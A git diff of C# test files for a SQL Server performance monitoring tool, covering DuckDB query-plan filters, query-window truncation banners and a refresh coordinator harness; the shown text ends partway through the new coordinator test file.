+        var window = await OracleAsync("EXPLAIN " + LocalDataService.WindowTextSql, ServerId, "db_odd", 7L, from, to);
+        foreach (var (name, plan) in new[] { ("by-row", byRow), ("window", window) })
+        {
+            var text = string.Join("\n", plan.SelectMany(r => r.Values).Select(v => v?.ToString()));
+            Assert.True(text.Contains("collection_time", StringComparison.Ordinal),
+                $"the {name} text lookup's plan does not mention collection_time:\n{text}");
+            /* The bound must be on the scan itself (a Filters line of the parquet scan), not only in a later FILTER. */
+            Assert.Matches(@"(?s)(READ_PARQUET|PARQUET_SCAN|TABLE_SCAN).*Filters:.*collection_time", text);
+            /* Both bounds must be literal comparisons on the column, which is what DuckDB turns into a row-group skip: a bound
+               wrapped in a function (epoch_ms(collection_time) >= ...) still prints under Filters: but skips nothing. */
+            var bare = Regex.Replace(text, @"[\s│┌┐└┘├┤┬┴┼─]+", "");
+            Assert.Contains("collection_time>=", bare, StringComparison.Ordinal);
+            Assert.Contains("collection_time<=", bare, StringComparison.Ordinal);
+        }
+    }
+
+    // ---- shape ----
+
+    [Fact]
+    public void TheShippedReads_DoNotCarryTheWideColumnsThroughARankingWindow()
+    {
+        var root = FindRepoRoot();
+        var store = File.ReadAllText(Path.Combine(root, "Lite", "Services", "LocalDataService.QueryStore.cs"));
+        var regressions = File.ReadAllText(Path.Combine(root, "Lite", "Services", "LocalDataService.QueryStoreRegressions.cs"));
+
+        /* The old top-queries lateral and its SELECT * dedup are what carried text through every row of the window. */
+        Assert.DoesNotContain("LEFT JOIN LATERAL", store, StringComparison.Ordinal);
+        Assert.DoesNotContain("        *,\n        ROW_NUMBER()", store.Replace("\r\n", "\n"), StringComparison.Ordinal);
+        /* No dedup CTE in either file selects the wide columns beside its ROW_NUMBER. */
+        foreach (var source in new[] { store, regressions })
+        {
+            foreach (Match m in Regex.Matches(source, @"SELECT(?<cols>[^()]*?)ROW_NUMBER\(\) OVER", RegexOptions.Singleline))
+            {
+                Assert.DoesNotContain("query_text", m.Groups["cols"].Value, StringComparison.Ordinal);
+                Assert.DoesNotContain("query_plan_text", m.Groups["cols"].Value, StringComparison.Ordinal);
+            }
+        }
+    }
+
+    private static string FindRepoRoot()
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null && !File.Exists(Path.Combine(dir.FullName, "PerformanceMonitor.sln")))
+        {
+            dir = dir.Parent;
+        }
+
+        return dir?.FullName ?? throw new InvalidOperationException("repo root not found");
+    }
+}
+
+/// <summary>
+/// The memory pins read a DuckDB database under a fixed memory_limit and one thread, so no other test class may run
+/// beside them: the collection is not parallelised with the rest of the assembly.
+/// </summary>
+[CollectionDefinition(QueryStoreMemoryPinCollection.Name, DisableParallelization = true)]
+public sealed class QueryStoreMemoryPinCollection
+{
+    public const string Name = "QueryStoreMemoryPins";
+}
diff --git a/Lite.Tests/QueryWindowTruncationTests.cs b/Lite.Tests/QueryWindowTruncationTests.cs
index 13bea0d2a5..99c3830815 100644
--- a/Lite.Tests/QueryWindowTruncationTests.cs
+++ b/Lite.Tests/QueryWindowTruncationTests.cs
@@ -71,6 +71,7 @@ public QueryWindowTruncationTests()
 
     public void Dispose()
     {
+        _duckDb.Dispose();
         ServerTimeHelper.ActiveServerClock = _savedClock;
         ServerTimeHelper.CurrentDisplayMode = _savedMode;
         try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
@@ -84,7 +85,7 @@ private async Task<DuckDBConnection> OpenSeedConnectionAsync()
         return connection;
     }
 
-    private async Task SeedQueryStatsAsync(DuckDBConnection connection, DateTime collected, string queryHash)
+    private async Task SeedQueryStatsAsync(DuckDBConnection connection, DateTime collected, string queryHash, int? serverId = null)
     {
         using var readLock = _duckDb.AcquireReadLock();
         using var cmd = connection.CreateCommand();
@@ -96,7 +97,7 @@ INSERT INTO query_stats
 VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12)";
         cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
         cmd.Parameters.Add(new DuckDBParameter { Value = collected });
-        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId ?? ServerId });
         cmd.Parameters.Add(new DuckDBParameter { Value = "TestServer" });
         cmd.Parameters.Add(new DuckDBParameter { Value = "TestDb" });
         cmd.Parameters.Add(new DuckDBParameter { Value = queryHash });
@@ -177,7 +178,7 @@ INSERT INTO query_store_stats
     [Fact]
     public async Task GetTopQueriesByCpu_ReportsTruncation_WhenRawStartsAfterTheWindow()
     {
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         var collected = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-2), DateTimeKind.Unspecified);
         using (var connection = await OpenSeedConnectionAsync())
             await SeedQueryStatsAsync(connection, collected, "0xTRUNC");
@@ -187,8 +188,8 @@ public async Task GetTopQueriesByCpu_ReportsTruncation_WhenRawStartsAfterTheWind
         var root = doc.RootElement;
 
         Assert.True(root.GetProperty("window_truncated").GetBoolean());
-        var effectiveStart = DateTime.Parse(root.GetProperty("effective_start").GetString()!).ToUniversalTime();
-        Assert.True(Math.Abs((effectiveStart - collected.ToUniversalTime()).TotalMinutes) < 2,
+        var effectiveStart = ParseEffectiveStart(root);
+        Assert.True(Math.Abs((effectiveStart - collected).TotalMinutes) < 2,
             $"effective_start {effectiveStart:o} should track the seeded floor {collected:o}");
         Assert.InRange(root.GetProperty("effective_hours_back").GetDouble(), 46, 50);
         Assert.NotEqual(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
@@ -197,7 +198,7 @@ public async Task GetTopQueriesByCpu_ReportsTruncation_WhenRawStartsAfterTheWind
     [Fact]
     public async Task GetTopProceduresByCpu_ReportsTruncation_WhenRawStartsAfterTheWindow()
     {
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         var collected = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-2), DateTimeKind.Unspecified);
         using (var connection = await OpenSeedConnectionAsync())
             await SeedProcedureStatsAsync(connection, collected, "usp_Trunc");
@@ -207,8 +208,8 @@ public async Task GetTopProceduresByCpu_ReportsTruncation_WhenRawStartsAfterTheW
         var root = doc.RootElement;
 
         Assert.True(root.GetProperty("window_truncated").GetBoolean());
-        var effectiveStart = DateTime.Parse(root.GetProperty("effective_start").GetString()!).ToUniversalTime();
-        Assert.True(Math.Abs((effectiveStart - collected.ToUniversalTime()).TotalMinutes) < 2,
+        var effectiveStart = ParseEffectiveStart(root);
+        Assert.True(Math.Abs((effectiveStart - collected).TotalMinutes) < 2,
             $"effective_start {effectiveStart:o} should track the seeded floor {collected:o}");
         Assert.NotEqual(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
     }
@@ -216,7 +217,7 @@ public async Task GetTopProceduresByCpu_ReportsTruncation_WhenRawStartsAfterTheW
     [Fact]
     public async Task GetQueryStoreTop_ReportsTruncation_WhenRawStartsAfterTheWindow()
     {
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         var collected = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-2), DateTimeKind.Unspecified);
         using (var connection = await OpenSeedConnectionAsync())
             await SeedQueryStoreStatsAsync(connection, collected, 900001);
@@ -226,8 +227,8 @@ public async Task GetQueryStoreTop_ReportsTruncation_WhenRawStartsAfterTheWindow
         var root = doc.RootElement;
 
         Assert.True(root.GetProperty("window_truncated").GetBoolean());
-        var effectiveStart = DateTime.Parse(root.GetProperty("effective_start").GetString()!).ToUniversalTime();
-        Assert.True(Math.Abs((effectiveStart - collected.ToUniversalTime()).TotalMinutes) < 2,
+        var effectiveStart = ParseEffectiveStart(root);
+        Assert.True(Math.Abs((effectiveStart - collected).TotalMinutes) < 2,
             $"effective_start {effectiveStart:o} should track the seeded floor {collected:o}");
         Assert.NotEqual(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
     }
@@ -240,7 +241,7 @@ public async Task GetQueryStoreTop_ReportsTruncation_WhenRawStartsAfterTheWindow
     [Fact]
     public async Task GetTopQueriesByCpu_NoNote_WhenFloorIsInsideTheSlack()
     {
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         var requestedStart = DateTime.UtcNow.AddHours(-24);
         var collected = DateTime.SpecifyKind(requestedStart.AddMinutes(60), DateTimeKind.Unspecified);
         using (var connection = await OpenSeedConnectionAsync())
@@ -264,14 +265,20 @@ public async Task GetTopQueriesByCpu_NoNote_WhenFloorIsInsideTheSlack()
     [Fact]
     public async Task FloorHelper_ReadsTheArchivedFloor_NotJustTheHotTable()
     {
-        await _duckDb.InitializeAsync();
+        await _duckDb.InitializeFromTemplateAsync();
         var archivedFloor = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-6), DateTimeKind.Unspecified);
         var hotStart = DateTime.SpecifyKind(DateTime.UtcNow.AddHours(-12), DateTimeKind.Unspecified);
 
         using (var connection = await OpenSeedConnectionAsync())
         {
-            for (var i = 0; i < 500; i++)
-                await SeedQueryStatsAsync(connection, archivedFloor.AddMinutes(i), $"0xARCH{i}");
+            /* One transaction per 500-row loop (#5208): 1,000 auto-committed single-row INSERTs were 1,000 WAL
+               commits. Each batch commits before the COPY / DELETE that follows, which see only committed rows. */
+            using (var archivedBatch = new SeedBatch(_duckDb, connection))
+            {
+                for (var i = 0; i < 500; i++)
+                    await SeedQueryStatsAsync(connection, archivedFloor.AddMinutes(i), $"0xARCH{i}");
+                archivedBatch.Commit();
+            }
 
             var parquetPath = Path.Combine(_archivePath, "20260101_0000_query_stats.parquet").Replace("\\", "/");
             using (var readLock = _duckDb.AcquireReadLock())
@@ -287,8 +294,12 @@ public async Task FloorHelper_ReadsTheArchivedFloor_NotJustTheHotTable()
                 await deleteCmd.ExecuteNonQueryAsync();
             }
 
-            for (var i = 0; i < 500; i++)
-                await SeedQueryStatsAsync(connection, hotStart.AddMinutes(i), $"0xHOT{i}");
+            using (var hotBatch = new SeedBatch(_duckDb, connection))
+            {
+                for (var i = 0; i < 500; i++)
+                    await SeedQueryStatsAsync(connection, hotStart.AddMinutes(i), $"0xHOT{i}");
+                hotBatch.Commit();
+            }
         }
 
         await _duckDb.CreateArchiveViewsAsync();
@@ -307,6 +318,218 @@ public async Task FloorHelper_ReadsTheArchivedFloor_NotJustTheHotTable()
             $"floor {floor:o} should be the ARCHIVED start {archivedFloor:o}, not the hot table's {hotStart:o}");
     }
 
+    private static DateTime NaiveUtc(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    /// <summary>
+    /// #4966: a Queries tool's effective_start as a UTC instant, asserting its trailing Z on the way. A cut window (the
+    /// floor the store held) and a covered one (the requested start) both name it with the Z, so the seeded naive-UTC
+    /// floors compare against it directly and the answer does not depend on the machine's time zone. These tests used
+    /// to parse the text as local time and shift the seeded floor the same way, which only agreed because the
+    /// payload carried no Z on the cut path.
+    /// </summary>
+    private static DateTime ParseEffectiveStart(JsonElement root)
+    {
+        var text = root.GetProperty("effective_start").GetString()!;
+        Assert.EndsWith("Z", text, StringComparison.Ordinal);
+        return DateTime.Parse(
+            text,
+            System.Globalization.CultureInfo.InvariantCulture,
+            System.Globalization.DateTimeStyles.AdjustToUniversal | System.Globalization.DateTimeStyles.AssumeUniversal);
+    }
+
+    /// <summary>
+    /// Quiet-start guard (Lite twin of #4953's data-start rule): a server with an old row before the window and
+    /// then a quiet stretch at the window's start (nothing collected until two hours ago) is not a window the
+    /// store failed to hold, so it must get no banner. A server that holds a row before the window has had the
+    /// window served whole, so the probe answers the REQUESTED START: not the first row inside the window (a probe
+    /// bounded below at the window's start reads the row from two hours ago and raises a false banner), and not
+    /// the oldest row the server holds either (finding that reads every archived row for the server, and no
+    /// caller needs it: <c>IsWindowTruncated</c> and <c>EffectiveWindowStart</c> give the same answer for any
+    /// floor at or before the start).
+    /// </summary>
+    [Fact]
+    public async Task FloorHelper_QuietStartInsideTheWindow_WithOlderRowsBeforeIt_IsNotTruncated()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var windowEnd = DateTime.UtcNow;
+        var requestedStart = windowEnd.AddDays(-7);
+        using (var connection = await OpenSeedConnectionAsync())
+        {
+            /* One transaction for this block's rows (#5208), committed when the block ends, before the read. */
+            using var seedBatch = new SeedBatch(_duckDb, connection);
+            await SeedQueryStatsAsync(connection, NaiveUtc(requestedStart.AddDays(-20)), "0xOLD");
+            await SeedQueryStatsAsync(connection, NaiveUtc(windowEnd.AddHours(-2)), "0xRECENT");
+        }
+
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, ServerId, requestedStart, windowEnd);
+
+        Assert.NotNull(floor);
+        Assert.True(floor!.Value == requestedStart,
+            $"floor {floor:o} must be the requested start {requestedStart:o} (the server holds a row before it), not the window's first row");
+        Assert.Equal(requestedStart, McpQueryTools.EffectiveWindowStart(floor, requestedStart));
+        Assert.False(McpQueryTools.IsWindowTruncated(floor, requestedStart),
+            "a quiet start inside the window, with older rows in the store, must not raise the data-start banner");
+    }
+
+    /// <summary>
+    /// A server whose rows all end before the window: the window holds nothing, so the probe says NULL ("nothing
+    /// was read"), never an old row or the requested start, either of which would read as the whole window being
+    /// served. The older-row check runs only after the window's own first row is found, so it never answers for
+    /// a window with no row in it.
+    /// </summary>
+    [Fact]
+    public async Task FloorHelper_NoRowInsideTheWindow_ReturnsNull_EvenWhenOlderRowsExist()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var windowEnd = DateTime.UtcNow;
+        var requestedStart = windowEnd.AddDays(-7);
+        using (var connection = await OpenSeedConnectionAsync())
+        {
+            /* One transaction for this block's rows (#5208), committed when the block ends, before the read. */
+            using var seedBatch = new SeedBatch(_duckDb, connection);
+            await SeedQueryStatsAsync(connection, NaiveUtc(requestedStart.AddDays(-20)), "0xOLD1");
+            await SeedQueryStatsAsync(connection, NaiveUtc(requestedStart.AddDays(-10)), "0xOLD2");
+        }
+
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, ServerId, requestedStart, windowEnd);
+
+        Assert.Null(floor);
+    }
+
+    /// <summary>A range that starts before the oldest stored row (retention, or a server added recently) is the case the banner exists for.</summary>
+    [Fact]
+    public async Task FloorHelper_RangeStartsBeforeTheOldestStoredRow_IsTruncated_AtTheOldestRow()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var windowEnd = DateTime.UtcNow;
+        var requestedStart = windowEnd.AddDays(-7);
+        var oldest = windowEnd.AddDays(-2);
+        using (var connection = await OpenSeedConnectionAsync())
+        {
+            /* One transaction for this block's rows (#5208), committed when the block ends, before the read. */
+            using var seedBatch = new SeedBatch(_duckDb, connection);
+            await SeedQueryStatsAsync(connection, NaiveUtc(oldest), "0xFIRST");
+            await SeedQueryStatsAsync(connection, NaiveUtc(windowEnd.AddHours(-1)), "0xLATER");
+        }
+
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, ServerId, requestedStart, windowEnd);
+
+        Assert.NotNull(floor);
+        Assert.True(Math.Abs((floor!.Value - oldest).TotalMinutes) < 2, $"floor {floor:o} should be the oldest row {oldest:o}");
+        Assert.True(McpQueryTools.IsWindowTruncated(floor, requestedStart));
+    }
+
+    /// <summary>
+    /// A window the store fully covers (the server holds a row before the window's start) gets no banner, and the
+    /// probe answers the requested start.
+    /// </summary>
+    [Fact]
+    public async Task FloorHelper_WindowInsideTheStoredRows_IsNotTruncated_AndGivesTheStart()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var windowEnd = DateTime.UtcNow;
+        var requestedStart = windowEnd.AddDays(-7);
+        using (var connection = await OpenSeedConnectionAsync())
+        {
+            /* One transaction for this block's rows (#5208), committed when the block ends, before the read. */
+            using var seedBatch = new SeedBatch(_duckDb, connection);
+            for (var day = 10; day >= 0; day--)
+                await SeedQueryStatsAsync(connection, NaiveUtc(windowEnd.AddDays(-day).AddMinutes(-5)), $"0xDAY{day}");
+        }
+
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, ServerId, requestedStart, windowEnd);
+
+        Assert.NotNull(floor);
+        Assert.True(floor!.Value == requestedStart, $"floor {floor:o} must be the requested start {requestedStart:o}");
+        Assert.False(McpQueryTools.IsWindowTruncated(floor, requestedStart));
+    }
+
+    /// <summary>
+    /// A row exactly at the window's start is inside the window (the bound is inclusive): the probe answers that
+    /// start, and the window is not truncated. Pins the boundary of the first, bounded step. The start is a whole
+    /// second so DuckDB's microsecond precision cannot move the row off it.
+    /// </summary>
+    [Fact]
+    public async Task FloorHelper_RowExactlyAtTheWindowStart_GivesTheStart_NotTruncated()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var now = DateTime.UtcNow;
+        var windowEnd = new DateTime(now.Ticks - now.Ticks % TimeSpan.TicksPerSecond, DateTimeKind.Utc);
+        var requestedStart = windowEnd.AddDays(-7);
+        using (var connection = await OpenSeedConnectionAsync())
+        {
+            /* One transaction for this block's rows (#5208), committed when the block ends, before the read. */
+            using var seedBatch = new SeedBatch(_duckDb, connection);
+            await SeedQueryStatsAsync(connection, NaiveUtc(requestedStart), "0xATSTART");
+            await SeedQueryStatsAsync(connection, NaiveUtc(windowEnd.AddHours(-1)), "0xLATER");
+        }
+
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, ServerId, requestedStart, windowEnd);
+
+        Assert.NotNull(floor);
+        Assert.True(floor!.Value == requestedStart, $"floor {floor:o} must be the row at the window's start {requestedStart:o}");
+        Assert.False(McpQueryTools.IsWindowTruncated(floor, requestedStart));
+    }
+
+    /// <summary>
+    /// Another server's older rows are not this server's coverage: the older-row step is filtered on the server,
+    /// so a server whose rows begin late in the window still reports that first row and is truncated, however
+    /// much older history a neighbour holds.
+    /// </summary>
+    [Fact]
+    public async Task FloorHelper_OnlyAnotherServerHoldsOlderRows_ThisServerIsTruncated_AtItsFirstRow()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var windowEnd = DateTime.UtcNow;
+        var requestedStart = windowEnd.AddDays(-7);
+        var firstRow = windowEnd.AddDays(-2);
+        using (var connection = await OpenSeedConnectionAsync())
+        {
+            /* One transaction for this block's rows (#5208), committed when the block ends, before the read. */
+            using var seedBatch = new SeedBatch(_duckDb, connection);
+            await SeedQueryStatsAsync(connection, NaiveUtc(requestedStart.AddDays(-20)), "0xNEIGHBOUR", serverId: ServerId + 1);
+            await SeedQueryStatsAsync(connection, NaiveUtc(firstRow), "0xFIRST");
+            await SeedQueryStatsAsync(connection, NaiveUtc(windowEnd.AddHours(-1)), "0xLATER");
+        }
+
+        var floor = await new LocalDataService(_duckDb).GetQueryWindowFloorAsync(QueryWindowRelation.QueryStats, ServerId, requestedStart, windowEnd);
+
+        Assert.NotNull(floor);
+        Assert.True(Math.Abs((floor!.Value - firstRow).TotalMinutes) < 2, $"floor {floor:o} should be this server's first row {firstRow:o}, not the start");
+        Assert.True(McpQueryTools.IsWindowTruncated(floor, requestedStart));
+    }
+
+    /// <summary>
+    /// The tool's twin of the quiet-start guard, and the clamp: with older rows before the window the probe answers
+    /// the requested start, and the tool must report the window it was asked for (effective_start never earlier
+    /// than the requested start, effective_hours_back never longer than hours_back), not the whole stored
+    /// history.
+    /// </summary>
+    [Fact]
+    public async Task GetTopQueriesByCpu_OlderRowsBeforeTheWindow_ReportsTheWholeWindow_NotTruncated()
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var nowUtc = DateTime.UtcNow;
+        using (var connection = await OpenSeedConnectionAsync())
+        {
+            /* One transaction for this block's rows (#5208), committed when the block ends, before the read. */
+            using var seedBatch = new SeedBatch(_duckDb, connection);
+            await SeedQueryStatsAsync(connection, NaiveUtc(nowUtc.AddDays(-20)), "0xOLDER");
+            await SeedQueryStatsAsync(connection, NaiveUtc(nowUtc.AddHours(-2)), "0xQUIETSTART");
+        }
+
+        var json = await McpQueryTools.GetTopQueriesByCpu(new LocalDataService(_duckDb), _serverManager, "TestServer", hours_back: 24);
+        using var doc = JsonDocument.Parse(json);
+        var root = doc.RootElement;
+
+        Assert.False(root.GetProperty("window_truncated").GetBoolean());
+        Assert.Equal(JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+        var effectiveStart = ParseEffectiveStart(root);
+        Assert.True(Math.Abs((effectiveStart - nowUtc.AddHours(-24)).TotalMinutes) < 2,
+            $"effective_start {effectiveStart:o} must be the requested start, never earlier ({nowUtc.AddHours(-24):o})");
+        Assert.InRange(root.GetProperty("effective_hours_back").GetDouble(), 23.9, 24.0);
+    }
+
     /// <summary>
     /// #4231 ruling: "the WPF Top Queries, Top Procedures and Query Store grids show 'Showing since &lt;time&gt;'
     /// in the header when the window is cut short." Pins <see cref="ServerTab.SetWindowTruncatedBanner"/> --
@@ -320,7 +543,7 @@ public void SetWindowTruncatedBanner_Truncated_ShowsSinceEffectiveStart()
     {
         var effectiveStart = new DateTime(2026, 1, 15, 8, 30, 0, DateTimeKind.Unspecified);
 
-        var (visibility, text) = OnStaThread(() =>
+        var (visibility, text) = StaTestThread.Run(() =>
         {
             var banner = new System.Windows.Controls.TextBlock();
             ServerTab.SetWindowTruncatedBanner(banner, truncated: true, effectiveStart, TimeZoneInfo.Utc);
@@ -344,7 +567,7 @@ public void SetWindowTruncatedBanner_WordsTheInstantInTheZoneItIsGiven_NotTheAct
         ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
         var eastern = ServerClock.Resolve("Eastern Standard Time", -300).AsTimeZone();
 
-        string BannerText(DateTime instant, TimeZoneInfo zone) => OnStaThread(() =>
+        string BannerText(DateTime instant, TimeZoneInfo zone) => StaTestThread.Run(() =>
         {
             var banner = new System.Windows.Controls.TextBlock();
             ServerTab.SetWindowTruncatedBanner(banner, truncated: true, instant, zone);
@@ -367,7 +590,7 @@ string BannerText(DateTime instant, TimeZoneInfo zone) => OnStaThread(() =>
     [Fact]
     public void SetWindowTruncatedBanner_NotTruncated_HidesBanner()
     {
-        var (visibility, text) = OnStaThread(() =>
+        var (visibility, text) = StaTestThread.Run(() =>
         {
             var banner = new System.Windows.Controls.TextBlock
             {
@@ -382,28 +605,6 @@ public void SetWindowTruncatedBanner_NotTruncated_HidesBanner()
         Assert.Equal(string.Empty, text);
     }
 
-    /// <summary>WPF objects require STA; same shape as MainWindowAccessKeyTests/ThemeColorOverrideTests.</summary>
-    private static T OnStaThread<T>(Func<T> body)
-    {
-        T result = default!;
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { result = body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-
-        return result;
-    }
-
     /// <summary>
     /// #4231 ruling 6's source pin: every Queries-tab grid read of the three raw-only relations routes through
     /// the ONE shared <see cref="LocalDataService.GetQueryWindowFloorAsync"/> probe -- never a second hand-rolled
@@ -500,9 +701,11 @@ public void WindowTruncatedBannerCallSites_TakeUtcBounds_NotServerLocalOnes()
     {
         var slicersSource = File.ReadAllText(ControlsFile("ServerTab.Slicers.cs"));
         var slicerBannerCallsOnUtc = Regex.Matches(slicersSource,
-            @"RefreshWindowTruncatedBannerAsync\(\s*QueryWindowRelation\.\w+,\s*\w+,\s*e\.StartUtc,\s*e\.EndUtc\)").Count;
-        Assert.True(slicerBannerCallsOnUtc == 3,
-            $"expected all 3 OnXSlicerChanged banner calls to pass e.StartUtc, e.EndUtc (found {slicerBannerCallsOnUtc}) " +
+            @"(?:RefreshWindowTruncatedBannerAsync|RefreshCappedGridBannerAsync)\(\s*QueryWindowRelation\.\w+,\s*\w+,\s*e\.StartUtc,\s*e\.EndUtc[,)]").Count;
+        /* 3 -> 4: Active Queries' slicer handler joined the three Queries grids' (the Lite twin of #4953's data-start notice).
+           4 -> 6: the Blocked Process Reports and Deadlocks slicer handlers joined them (#4966). */
+        Assert.True(slicerBannerCallsOnUtc == 6,
+            $"expected all 6 OnXSlicerChanged banner calls to pass e.StartUtc, e.EndUtc (found {slicerBannerCallsOnUtc}) " +
             "-- fromServer/toServer are server-local and GetQueryWindowFloorAsync compares them straight against " +
             "UTC collection_time (#4279).");
         Assert.False(Regex.IsMatch(slicersSource, @"RefreshWindowTruncatedBannerAsync\([^)]*fromServer,\s*toServer\)"),
@@ -510,12 +713,22 @@ public void WindowTruncatedBannerCallSites_TakeUtcBounds_NotServerLocalOnes()
 
         var refreshSource = File.ReadAllText(ControlsFile("ServerTab.Refresh.cs"));
         var refreshBannerCallsOnHelperOutput = Regex.Matches(refreshSource,
-            @"RefreshWindowTruncatedBannerAsync\(\s*QueryWindowRelation\.\w+,\s*\w+,\s*windowStart\d?,\s*windowEnd\d?\)").Count;
-        Assert.True(refreshBannerCallsOnHelperOutput == 6,
-            $"expected all 6 ServerTab.Refresh.cs banner calls to pass a GetQueriesTabWindowUtc result " +
+            @"(?:RefreshWindowTruncatedBannerAsync|RefreshCappedGridBannerAsync)\(\s*QueryWindowRelation\.\w+,\s*\w+,\s*windowStart\d?,\s*windowEnd\d?[,)]").Count;
+        /* 6 -> 10: Active Queries (sub-tab switch + full refresh) and Current Waits (sub-tab switch + full refresh)
+           each take their banner window from GetQueriesTabWindowUtc too (see DataStartBannerTests).
+           10 -> 14, and 10 -> 13 declarations: the Blocked Process Reports and Deadlocks banners (#4966) add two calls
+           to the sub-tab switch (one declaration each) and two to the full refresh (one shared declaration). */
+        /* 14 -> 15 (the pattern now counts the cap-aware step too): the Blocked Process Reports and Deadlocks banners (4 of the 14)
+           moved from RefreshWindowTruncatedBannerAsync to RefreshCappedGridBannerAsync (#4966), and the Collection Log's cap-aware
+           call (#4989) is one more call on a GetQueriesTabWindowUtc pair. */
+        Assert.True(refreshBannerCallsOnHelperOutput == 15,
+            $"expected all 15 ServerTab.Refresh.cs banner calls to pass a GetQueriesTabWindowUtc result " +
             $"(windowStart/windowEnd) (found {refreshBannerCallsOnHelperOutput}) -- a server-local cStart must " +
             "not feed the banner (#4279/#4284).");
-        Assert.Equal(6, Regex.Matches(refreshSource, @"LocalDataService\.GetQueriesTabWindowUtc\(").Count);
+        /* 10 -> 11: the Collection Log's cap-aware notice (RefreshCappedGridBannerAsync, #4989) takes its window from
+           GetQueriesTabWindowUtc too; it is not one of the RefreshWindowTruncatedBannerAsync calls counted above.
+           11 -> 14: the Blocked Process Reports and Deadlocks banners (#4966) add the three declarations noted above. */
+        Assert.Equal(14, Regex.Matches(refreshSource, @"LocalDataService\.GetQueriesTabWindowUtc\(").Count);
     }
 
     private static string ControlsFile(string name) => Path.Combine(ControlsDir(), name);
diff --git a/Lite.Tests/RefreshCoordinatorTests.cs b/Lite.Tests/RefreshCoordinatorTests.cs
new file mode 100644
index 0000000000..de481578ad
--- /dev/null
+++ b/Lite.Tests/RefreshCoordinatorTests.cs
@@ -0,0 +1,525 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5371: a Lite server tab's timer refresh, tab switches and time-range changes share one in-flight read. A user's
+/// trace showed a tab-switch read pending while the timer started a second full refresh beside it (484 s), and the old
+/// one-way <c>_isRefreshing</c> check also dropped a tab switch or range change that arrived during a refresh.
+/// <see cref="RefreshCoordinator"/> is the seam. The first block drives it with reads the test controls (a gate per
+/// pass, released by hand, no sleeps), standing in for "a tab-switch read that is still waiting"; the second block pins
+/// the ServerTab wiring by source scan, since the control itself needs a WPF dispatcher and a store.
+/// </summary>
+public sealed class RefreshCoordinatorTests
+{
+    /// <summary>One pass the harness started: what it was asked for, what it saw selected, and the gate that holds its read.</summary>
+    private sealed class Pass
+    {
+        internal required RefreshScope Scope { get; init; }
+        internal required string Tab { get; init; }
+        internal required string Window { get; init; }
+        internal required string Compare { get; init; }
+        internal required CancellationToken Token { get; init; }
+        internal TaskCompletionSource Gate { get; } = new();
+        internal bool Painted { get; set; }
+    }
+
+    /// <summary>
+    /// Stands in for the server tab: <see cref="SelectedTab"/> and <see cref="Window"/> are the UI state a pass reads at
+    /// its own start, each pass blocks on a gate the test releases, and a pass paints only if its token was not cancelled
+    /// when its read came back (the real pass checks the token at the same boundary).
+    /// </summary>
+    private sealed class Harness
+    {
+        internal string SelectedTab = "A";
+        internal string Window = "4h";
+        internal string Compare = "None";
+        internal readonly List<Pass> Passes = new();
+        internal readonly List<Exception> Faults = new();
+        internal readonly List<string> Paints = new();
+        internal int Concurrent;
+        internal int MaxConcurrent;
+        internal Func<Pass, Exception?>? Fail;
+        private readonly Dictionary<int, TaskCompletionSource<Pass>> _started = new();
+
+        private TaskCompletionSource<Pass> StartSignal(int index)
+        {
+            if (!_started.TryGetValue(index, out var signal))
+            {
+                _started[index] = signal = new TaskCompletionSource<Pass>(TaskCreationOptions.RunContinuationsAsynchronously);
+            }
+
+            return signal;
+        }
+
+        /// <summary>Completes once pass <paramref name="index"/> has started, so a test never reads state a replay has not reached yet.</summary>
+        internal async Task<Pass> Started(int index) => await Completes(StartSignal(index).Task);
+
+        internal RefreshCoordinator Coordinator { get; }
+
+        internal Harness()
+        {
